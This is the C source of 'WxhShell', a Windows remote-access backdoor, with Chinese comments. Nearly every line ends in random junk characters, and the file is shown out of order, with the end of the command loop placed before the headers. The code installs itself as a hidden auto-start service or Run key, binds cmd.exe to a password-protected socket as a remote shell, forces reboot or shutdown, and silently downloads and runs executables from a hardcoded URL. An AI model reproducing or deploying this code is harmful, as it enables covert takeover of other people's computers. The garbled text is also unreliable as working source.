    if(Boot(SHUTDOWN)) @'QBrE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "](~VF[J8  
    else { XxGm,A+>Ty  
    closesocket(wsh); bFpwq#PDW>  
    ExitThread(0); rr*IIG&.5  
    } E4{8 $:q=  
    break; \,WPFV  
    } GM5::M]fS  
  // 获取shell mxIEg?r(  
  case 's': { m{g{"=}YR  
    CmdShell(wsh); yC -4wn*  
    closesocket(wsh); C-M op,w  
    ExitThread(0); xc!"?&\*  
    break; \<5xf<{  
  } !@Ox%vK  
  // 退出 T|u)5ww%  
  case 'x': { {0|^F!1z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w/&#UsEIr  
    CloseIt(wsh); ~HELMS~-  
    break; m4EkL  
    } ~[C m#c  
  // 离开 ^^v!..V]J  
  case 'q': { .hvIq .vr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >7n(* M  
    closesocket(wsh); vXc<#X9  
    WSACleanup(); N;htKcZ  
    exit(1); i}!CY@sW  
    break; qU"+0t4  
        } d-Sm<XHu.  
  } j8lbn|.  
  } js{ RaR=  
]!/1qF  
  // 提示信息 # RtrHm  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PKP( :3|  
} xd* kNY  
  } ]8RcZn  
{h2D}F  
  return; J~= =<?j:  
} TY? Fs-  
WPPmh~:  
// shell模块句柄 6s6[sUf=l&  
int CmdShell(SOCKET sock) qLR)>$  
{ JLjx4B\  
STARTUPINFO si; sV-9 xh)i  
ZeroMemory(&si,sizeof(si)); LB>!%Vx  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~ ^K[pA ?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GR"Jk[W9  
PROCESS_INFORMATION ProcessInfo; !nTq"d%(W  
char cmdline[]="cmd"; W<~(ieu:K~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s)}C&T$Y.  
  return 0; $ED<:[3N  
}  3N;X|pa  
_W$4Qn+f  
// 自身启动模式 "Li"NxObCA  
int StartFromService(void) 4h-y'&Z  
{ Gv<K#@9T  
typedef struct E0GpoG5C  
{ Pd>hd0!.%  
  DWORD ExitStatus; _Ab|<!a/R  
  DWORD PebBaseAddress; C,Ch6Ph  
  DWORD AffinityMask; A;h~Fx6s  
  DWORD BasePriority; :}Z+K*%o-  
  ULONG UniqueProcessId; s{gdTG6v`  
  ULONG InheritedFromUniqueProcessId; 'E6)6N  
}   PROCESS_BASIC_INFORMATION; myH#.$=A  
!bQ5CB  
PROCNTQSIP NtQueryInformationProcess; zE<}_nA  
 MgA6/k  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u{HB5QqK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4-s Uy  
t; "o,T  
  HANDLE             hProcess; 'l2`05   
  PROCESS_BASIC_INFORMATION pbi; 9Czc$fSSt  
Ur_~yX]Mo  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #\fAp RL  
  if(NULL == hInst ) return 0; iMF:~H-Yq#  
|Kb-oM&^#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~/QzL.S;p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H Jwj,SL  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |ONkRxr@!  
&ceZu=*  
  if (!NtQueryInformationProcess) return 0; p VLfZ?78  
A07FjT5w8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9"&HxyOfX  
  if(!hProcess) return 0; z[l17+v  
;+cZS=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w J; y4  
kZfO`BVL  
  CloseHandle(hProcess); mim]nRd2v  
 dY|(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gwNv ;g  
if(hProcess==NULL) return 0; hV_0f_Og  
9^XT,2Wwf  
HMODULE hMod; zcDVvP  
char procName[255]; st~f}w@  
unsigned long cbNeeded; p,U.5bX  
H;|^z@RB<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (C1]R41'  
D[ny%9 :  
  CloseHandle(hProcess); "J$vt`  
wtaeF+u-R-  
if(strstr(procName,"services")) return 1; // 以服务启动 *joM[ML` 6  
iN<Tn8-YH6  
  return 0; // 注册表启动 a>6!?:Rj  
} *SL v$A  
5s`NR<|2L  
// 主模块 @32JMS<  
int StartWxhshell(LPSTR lpCmdLine) yPKeatH]  
{ g?)9zJ9  
  SOCKET wsl; S'lZ'H/  
BOOL val=TRUE; YEQ}<\B\&  
  int port=0; [ q22?kT  
  struct sockaddr_in door; y1B3F5  
J1hc :I<;  
  if(wscfg.ws_autoins) Install(); *o`bBdZ  
Jk 0 ;<2j  
port=atoi(lpCmdLine); ^I@43Jy/  
[{L4~(uU8  
if(port<=0) port=wscfg.ws_port; %3|0_  
(Jy7  
  WSADATA data; /(5 SJ(a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?tSFM:9PU  
 5'Y @c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Syo1Dq6z.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Bzw~OB{!=J  
  door.sin_family = AF_INET; xbSix:R=Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5e6f)[}  
  door.sin_port = htons(port); ZU5hHah.t  
%TP0i#J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n'K,*  
closesocket(wsl); "oz qfh  
return 1; !SMIb(~[z  
} h:}oUr8   
vg5i+ry<  
  if(listen(wsl,2) == INVALID_SOCKET) { @/g%l1$`  
closesocket(wsl); aTxss:7]  
return 1; P?\IlziCB  
} q{nNWvL  
  Wxhshell(wsl); /q0[T{Wz$  
  WSACleanup(); jA?A)YNQb  
P|Dw +lQj  
return 0; M| :wC  
_Y?p =;  
} nn5tOV}QE  
eF823cH2x_  
// 以NT服务方式启动 F2saGpGH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R%=u<O  
{ /PafIq  
DWORD   status = 0; ZBUEg7c  
  DWORD   specificError = 0xfffffff; ~xer ZQgc  
[Abq("9p\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; w^6rgCl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `A_CLVE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; GWsvN&nr  
  serviceStatus.dwWin32ExitCode     = 0;  ?%Hj,b  
  serviceStatus.dwServiceSpecificExitCode = 0; qcSlqWDk  
  serviceStatus.dwCheckPoint       = 0; R?V s8?  
  serviceStatus.dwWaitHint       = 0; G~5EAeG  
{N42z0c  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &`Oj<UyJY  
  if (hServiceStatusHandle==0) return; 0JN>w^  
G>& Tap>  
status = GetLastError(); 9)9p<(b $  
  if (status!=NO_ERROR) hd^?mZ  
{ x1VBO.t=*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; d}2tqPya  
    serviceStatus.dwCheckPoint       = 0; !<BJg3  
    serviceStatus.dwWaitHint       = 0; >slD.rb]  
    serviceStatus.dwWin32ExitCode     = status; c>!zJA B  
    serviceStatus.dwServiceSpecificExitCode = specificError; I|8'#QX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @-qS[bV  
    return; R/Y9t8kk  
  } n;+CV~  
R9@Dd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; E%8Op{zv_  
  serviceStatus.dwCheckPoint       = 0; v'na{"  
  serviceStatus.dwWaitHint       = 0; $a.fQ<,\X  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k<(G)7'gm  
} #; ~`+[y?\  
?-C=_eZJ  
// 处理NT服务事件,比如:启动、停止 g?&_5)&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1?%Q"*Y&  
{ ;n]GHqzY_  
switch(fdwControl) x8x8T $  
{ #[Z ToE4  
case SERVICE_CONTROL_STOP: Zq1Z rwPF  
  serviceStatus.dwWin32ExitCode = 0; B?n 6o|8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {| ~  
  serviceStatus.dwCheckPoint   = 0; Kcf1$`F24  
  serviceStatus.dwWaitHint     = 0; J< Ljg<t+  
  { *9T a0e*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w{TZN{Y  
  } {x_SnZz&  
  return; #@%DY*w]v  
case SERVICE_CONTROL_PAUSE: iXLODuI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kd55y  
  break; qV]p\/a.  
case SERVICE_CONTROL_CONTINUE: E0HXB1"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }9=X*'BO  
  break; -7-r~zmr  
case SERVICE_CONTROL_INTERROGATE:  rG[iEY  
  break; m-T@Og  
}; >2v UFq`H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QiO4fS'~W  
} r:N =?X`N  
LL% Aw)Q`  
// 标准应用程序主函数 1'Sr0 oEd3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?|,dHqh{nM  
{ (dvsGYT|.  
w8veh[%3n  
// 获取操作系统版本 H#/ #yVw  
OsIsNt=GetOsVer(); @G'&7-(h*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); zP554Gr?  
oW ! Z= ;  
  // 从命令行安装 f wE b  
  if(strpbrk(lpCmdLine,"iI")) Install(); z3-A2#c  
j}s<Pn%4  
  // 下载执行文件 : ;l9to  
if(wscfg.ws_downexe) { ]? 2xS?vd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M9~eDw'Pr  
  WinExec(wscfg.ws_filenam,SW_HIDE); +;#z"m]  
} B|I9Ex~L  
Z2P DT  
if(!OsIsNt) { ;@ <E  
// 如果时win9x,隐藏进程并且设置为注册表启动 &BOq%*+  
HideProc(); K<3,=gL9[  
StartWxhshell(lpCmdLine); iEx sGn]2  
} ]F'o  
else v;6O# ta'  
  if(StartFromService()) 9f=L'{  
  // 以服务方式启动 srL|Y&8p  
  StartServiceCtrlDispatcher(DispatchTable); <[l0zE5Z8'  
else !m {d6C[  
  // 普通方式启动 1Jm'9iy3  
  StartWxhshell(lpCmdLine); E^s<5BC;  
WR|n>i@m  
return 0; bv:M zYS  
} LI~ofCp  
P55QE+B  
[k~}Fe) x  
 eeMeV>  
=========================================== xVnk]:c  
) t#>fnN  
]`+J!G,  
U3 t$h  
]S0tK  
ioW&0?,Ym  
" |7CFm  
gI T3A*x  
#include <stdio.h> `/"*_AKAI  
#include <string.h> 57|RE5]|!  
#include <windows.h> 1ze\ U>  
#include <winsock2.h> @LyCP4   
#include <winsvc.h> BT*z^Z H  
#include <urlmon.h> WY& [%r  
B0+r  
#pragma comment (lib, "Ws2_32.lib") Z>l%:;H  
#pragma comment (lib, "urlmon.lib") pLiGky  
a>H8, a  
#define MAX_USER   100 // 最大客户端连接数 5jNDr`pnu  
#define BUF_SOCK   200 // sock buffer /gH[|d  
#define KEY_BUFF   255 // 输入 buffer %|izt/B  
DS| HN  
#define REBOOT     0   // 重启 ;z1\n3,  
#define SHUTDOWN   1   // 关机 kVRh/<s  
Ht,+KbB  
#define DEF_PORT   5000 // 监听端口 b'O>qQ  
\cx==[&(  
#define REG_LEN     16   // 注册表键长度 <*Bk.>f!  
#define SVC_LEN     80   // NT服务名长度 QKHAN{hJ  
1F,>siuh ,  
// 从dll定义API FW@(MIH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zn)Kl%N^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "?HDv WP=w  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7Zw.mM!i  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2kfX_RK  
)`z{T  
// wxhshell配置信息 ,9.-A-Yw  
struct WSCFG { }7HR<%< 7  
  int ws_port;         // 监听端口 qdNt2SO  
  char ws_passstr[REG_LEN]; // 口令 ISDeLUihY  
  int ws_autoins;       // 安装标记, 1=yes 0=no +1pY^#A  
  char ws_regname[REG_LEN]; // 注册表键名 5H^"  
  char ws_svcname[REG_LEN]; // 服务名 ExxD w_VGT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0!tw)HR%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~Gj%z+<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !;, Dlq-}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M5Q7izM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zgn~UC6&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9Hm>@dBhM  
wa%;'M&  
}; AuIg=-xR  
)`,Y ^`F2  
// default Wxhshell configuration =\FV_4)  
struct WSCFG wscfg={DEF_PORT, D.ERt)l>  
    "xuhuanlingzhe", +:ih`q][b  
    1, G ~X93J  
    "Wxhshell", _I/uW|>  
    "Wxhshell", [XbNZ6  
            "WxhShell Service", T$IwrTF@?  
    "Wrsky Windows CmdShell Service", lF#p1H>\  
    "Please Input Your Password: ", W[SZZV_(tu  
  1, #V-0-n,`  
  "http://www.wrsky.com/wxhshell.exe", B,(zp#&yB  
  "Wxhshell.exe" S{ fFpe-  
    }; c( 8>|^M  
?}ly`Js  
// 消息定义模块 "CY#_)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Wi2Tg^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; > }fw7X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Bm$(4  
char *msg_ws_ext="\n\rExit."; _^MkC} 8  
char *msg_ws_end="\n\rQuit."; x_oiPu.V  
char *msg_ws_boot="\n\rReboot..."; ?B['8ju  
char *msg_ws_poff="\n\rShutdown..."; lN~V1(1B  
char *msg_ws_down="\n\rSave to "; $'%.w|MJp  
7GDrH/yK  
char *msg_ws_err="\n\rErr!"; jnIf (a  
char *msg_ws_ok="\n\rOK!"; L/KiE+Y  
Ql]+,^kA@  
char ExeFile[MAX_PATH]; 8nE}RD7bx  
int nUser = 0; Vk:] aveW  
HANDLE handles[MAX_USER]; .8dlf7* ,  
int OsIsNt; "pMx(  
hF^y4v|5  
SERVICE_STATUS       serviceStatus; 13aj fH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; LQz6op}R  
fWs@ZCt  
// 函数声明 'Da*MGu9  
int Install(void); R5& R ~1N  
int Uninstall(void); 6DT ^:LHS  
int DownloadFile(char *sURL, SOCKET wsh); <5E: ,<  
int Boot(int flag); z)F<{]%  
void HideProc(void); RAU"  
int GetOsVer(void); A +41JMH  
int Wxhshell(SOCKET wsl); c-oIP~,  
void TalkWithClient(void *cs); py }`thx  
int CmdShell(SOCKET sock); >_|$7m.?n[  
int StartFromService(void); 4GqwY"ja  
int StartWxhshell(LPSTR lpCmdLine); ?:DUsg  
d:8c}t2X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^_c6Op<F  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); yvIzgwN%s!  
"ph<V,lg  
// 数据结构和表定义 +)ba9bJ|  
SERVICE_TABLE_ENTRY DispatchTable[] = ;ZoEqMv  
{ wfQ^3HL  
{wscfg.ws_svcname, NTServiceMain}, b Od<x >@  
{NULL, NULL} FH)_L1n  
}; >K n7A  
&>A<{J@VL  
// 自我安装 i_f\dkol  
int Install(void) !hjA   
{ Ox%p"xuP,  
  char svExeFile[MAX_PATH]; (sqI:a  
  HKEY key; e#odr{2#4u  
  strcpy(svExeFile,ExeFile); *!MMl]gU?  
2bu>j1h  
// 如果是win9x系统,修改注册表设为自启动 0vZ49}mb)  
if(!OsIsNt) { v2jpao<K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2(AuhZ>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XiO~^=J  
  RegCloseKey(key); +SNjU"x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g\]~H%2 ,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Vrn+"2pdJ  
  RegCloseKey(key); b_Dd$NC  
  return 0; B'&QLO|  
    } W2BZG(dm  
  } H>]A|-rG#  
} 7g|EqJ7  
else { KBa ]s q_  
F1u2SltR  
// 如果是NT以上系统,安装为系统服务 '.{_ 7U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }fJLY\  
if (schSCManager!=0) #Q1}h  
{  &4{!5r  
  SC_HANDLE schService = CreateService Q 6n!u;  
  ( vYg>^!Q  
  schSCManager, n7/>+V+  
  wscfg.ws_svcname, Hu$y8_Udw  
  wscfg.ws_svcdisp, <DZ$"t  
  SERVICE_ALL_ACCESS, kRqe&N e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ay0.D FL  
  SERVICE_AUTO_START, Z(I=K BI  
  SERVICE_ERROR_NORMAL, s63!]LDr  
  svExeFile, [H@71+_Q  
  NULL, ~L4L|q 7  
  NULL, TPVB{ 107  
  NULL, g.pR4Mf=Z  
  NULL, ] @:x<>  
  NULL =2@ V}  
  ); tU0jFBB  
  if (schService!=0) C}qHvwFm  
  { `\$EPUM  
  CloseServiceHandle(schService); MdDL?ev  
  CloseServiceHandle(schSCManager); \V#fl  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y94S!TbB  
  strcat(svExeFile,wscfg.ws_svcname); #z+?t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {zalfw{+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0X:$ASocU  
  RegCloseKey(key); Y@Ur}  
  return 0; e}+Zj'5  
    } K3k{q90   
  } h [@}} 6  
  CloseServiceHandle(schSCManager); Lp) P7Yt-  
} 66-tNy  
} `|2g &Vn  
14DhJUV"b  
return 1; c~+KrWbZ~  
} )=VAEQhL-  
L'w]O -86  
// 自我卸载 1Qw_P('}  
int Uninstall(void) 55FRPNx-x  
{ sC A  
  HKEY key; qrf90F)  
szCB}WY  
if(!OsIsNt) { dNf:I,<DCf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { us E%eF]  
  RegDeleteValue(key,wscfg.ws_regname); hHZ'*,9 y  
  RegCloseKey(key); nH<#MG BS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8S7#tb@3  
  RegDeleteValue(key,wscfg.ws_regname); K#Zv>x!to  
  RegCloseKey(key); iK=QP+^VN  
  return 0; qOy0QZ#0  
  } [ eb k u_  
} pI_dV44W  
} L{rd',  
else { W{c Z7$d  
GVhy }0|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); k{H7+;_  
if (schSCManager!=0) q ~^!Ck+#*  
{ gD2P)7:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O?O=]s u  
  if (schService!=0) ?:h*=0>  
  { N=\weuED  
  if(DeleteService(schService)!=0) { ^GlzKl   
  CloseServiceHandle(schService); bjo} 95  
  CloseServiceHandle(schSCManager); 9s1^hW2%Q  
  return 0; 7Ie=(x8):  
  } LmytO$?2(  
  CloseServiceHandle(schService); fm L8n<1  
  } }|%1LL^pB  
  CloseServiceHandle(schSCManager); hI 9q);g  
} <PiO %w{  
} ^qzH(~g{M  
9w~SzpJ%  
return 1; SF`(`h0e  
} =t`cHs29  
Z&79: 9=#>  
// 从指定url下载文件 x[0O*ty-*<  
int DownloadFile(char *sURL, SOCKET wsh) A$]s{`  
{ k?$I4&|5Nt  
  HRESULT hr; Cv}^]_`Q  
char seps[]= "/"; NWP!V@WG  
char *token; }=}wLm#&1  
char *file; |-;VnC&UY  
char myURL[MAX_PATH]; <uxLG;R  
char myFILE[MAX_PATH]; s_a jA  
\EsT1aT  
strcpy(myURL,sURL); ~>HzAo9e  
  token=strtok(myURL,seps); UOk\fyD2[  
  while(token!=NULL) $ nHD,h  
  { bAbR0)  
    file=token; ,ryL( "G  
  token=strtok(NULL,seps); R1D ;  
  } u`&lTJgF/O  
RWGf]V]6  
GetCurrentDirectory(MAX_PATH,myFILE); TDUY&1[  
strcat(myFILE, "\\"); #qh ,  
strcat(myFILE, file); \ H~zN]3^  
  send(wsh,myFILE,strlen(myFILE),0);  vP=68muD  
send(wsh,"...",3,0); O=;jDWE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J/O{x  
  if(hr==S_OK) +<j7^AEG  
return 0; UoPY:(?;i  
else s*s~yH6  
return 1; Q@7d:v  
Bp3E)l  
} <N1wET-  
B]@25  
// 系统电源模块 FJ-H ;  
int Boot(int flag) XbqMWQN*  
{ ]8}51y8  
  HANDLE hToken; o<G#%9j  
  TOKEN_PRIVILEGES tkp; "VZXi_P  
o8Gygi5  
  if(OsIsNt) { Dnl<w<}ZU:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Pc_aEBq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D}q"^"#T  
    tkp.PrivilegeCount = 1; "4;nnq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8! rdqI   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ICvV}%d  
if(flag==REBOOT) { NC#F:M;b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]"lB!O~  
  return 0; |1RVm?~i  
} LP=j/qf|  
else { d 8DU[p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ](A2,F 9(U  
  return 0; Y}1c>5{bE  
} ;4[[T%&v  
  } }!AS?  
  else { 5,pNqXRp  
if(flag==REBOOT) { l6y}>]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PO`p.("h  
  return 0; C+ll A  
} }Nsdk',}  
else { +a3E=GJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) iN[x *A|h  
  return 0; w y|^=#k  
} $[A\i<#  
} EU%,tp   
xwf-kwF8^  
return 1; dPwyiV0  
} L%T(H<G  
{d'-1z"q  
// win9x进程隐藏模块 pA ~} _  
void HideProc(void) >%k6k1CZ  
{ yQE'!m  
MQQm3VaKS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]x r0]  
  if ( hKernel != NULL ) W&IG,7tr  
  { r<ucHRO#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4"|Xndh1.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N-\N\uN  
    FreeLibrary(hKernel); :<t=??4m  
  } MLu!8dgI  
W<r<K=`5P  
return; >ESVHPj]  
} #*'Qm  A  
Dz(\ ?  
// 获取操作系统版本 S^eem_C  
int GetOsVer(void) y|2<Vc  
{ x,!Dd  
  OSVERSIONINFO winfo; (?fU l$q\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <X:JMj+  
  GetVersionEx(&winfo); }l|S]m!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6O As%QZ  
  return 1; #$I@V4O;#  
  else WVdV:vJ-  
  return 0; .|Huz k+  
} UqOBr2 UmG  
"`$,qvNN  
// 客户端句柄模块 mb1mlsE  
int Wxhshell(SOCKET wsl) D%p*G5Bg3  
{ C9!t&<\ }  
  SOCKET wsh;  bDkZU  
  struct sockaddr_in client; q 84*5-  
  DWORD myID; FH+X<  
5To@d|{  
  while(nUser<MAX_USER)  Y~WdN<g  
{ v Y0bK-  
  int nSize=sizeof(client); ~5f&<,p!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \8`7E1d  
  if(wsh==INVALID_SOCKET) return 1; >>y`ap2%V  
H<(F$7Q!\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 68Fl/   
if(handles[nUser]==0) j uA@"SG  
  closesocket(wsh); \c< oVF'  
else fF(2bVKP:  
  nUser++; ; oyV8P$  
  } |ia5Mr"t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h2ROQKL"B  
&h-_|N  
  return 0; fp)SZu_*  
} C!j3@EZ$  
"do5@$p|  
// 关闭 socket 3iCe5VF  
void CloseIt(SOCKET wsh) S,c{LTL  
{ 42NfD/"g+s  
closesocket(wsh); L  ;L:  
nUser--; c/|{yp$Ga>  
ExitThread(0); *;fTiL  
} IT| h;NUG  
L4>14D\  
// 客户端请求句柄 q)?%END  
void TalkWithClient(void *cs) ?UtKu  
{ A2|Bbqd  
KD kGQh#9  
  SOCKET wsh=(SOCKET)cs; V<QpC5  
  char pwd[SVC_LEN]; ~}.C*;J  
  char cmd[KEY_BUFF]; x?Abk  
char chr[1]; y, l[v39  
int i,j; n-Iz!;q  
Kh]es,$D  
  while (nUser < MAX_USER) { #a e@VedM  
q+?&w'8  
if(wscfg.ws_passstr) { WqeWjI.2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /Q1 b%C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _3`G ZeGV  
  //ZeroMemory(pwd,KEY_BUFF); %;[DMc/  
      i=0; *k{Llq  
  while(i<SVC_LEN) { b)diYsTH  
^?cu9S3  
  // 设置超时 yu;EL>G_AY  
  fd_set FdRead; C'JI%HnQ  
  struct timeval TimeOut; ~7: q+\  
  FD_ZERO(&FdRead); 8<VDp Y  
  FD_SET(wsh,&FdRead); 7{#p'.nc5  
  TimeOut.tv_sec=8; $--8%gh dG  
  TimeOut.tv_usec=0; q8{Bx03m6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j1_>>xB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,} t%7I  
ug9Ja)1|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;jzJ6~<  
  pwd=chr[0]; K *@?BE  
  if(chr[0]==0xd || chr[0]==0xa) { k79OMf<v  
  pwd=0; 3f`Uoh+  
  break; v;(cJ,l  
  } {sw|bLo|+  
  i++; /@`"&@W'  
    } G8repY  
6s@!Yn|?  
  // 如果是非法用户,关闭 socket v}DNeIh~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vPnS`&  
} MXA?rjd0  
y" =?l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4@{;z4*`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D$FTnY  
H:G``Vq;0m  
while(1) { D <iG*I  
(%^C}`|EA  
  ZeroMemory(cmd,KEY_BUFF); 4Wl`hF  
ozOc6  
      // 自动支持客户端 telnet标准   so` \e^d  
  j=0; Xe4   
  while(j<KEY_BUFF) { 3o rSk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Hcf"u&%  
  cmd[j]=chr[0]; gW~YB2 $  
  if(chr[0]==0xa || chr[0]==0xd) { a!o%x  
  cmd[j]=0; rCo}^M4Pb  
  break; b'O/u."O  
  } [r2V+b.C  
  j++; >l0Qd1   
    } =d;a1AO{&  
{L$$"r,  
  // 下载文件 dw6ysOR@  
  if(strstr(cmd,"http://")) { zTue(Kr  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); nk!uO^  
  if(DownloadFile(cmd,wsh)) 6PsT])*>DE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); xhALJfv  
  else LuRCkKJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *$cx7yJ  
  } %R5- 6  
  else { e/4C` J-  
m+M^we*R  
    switch(cmd[0]) { HL{aqT2  
  <8(q.  
  // 帮助 ftn10TO*  
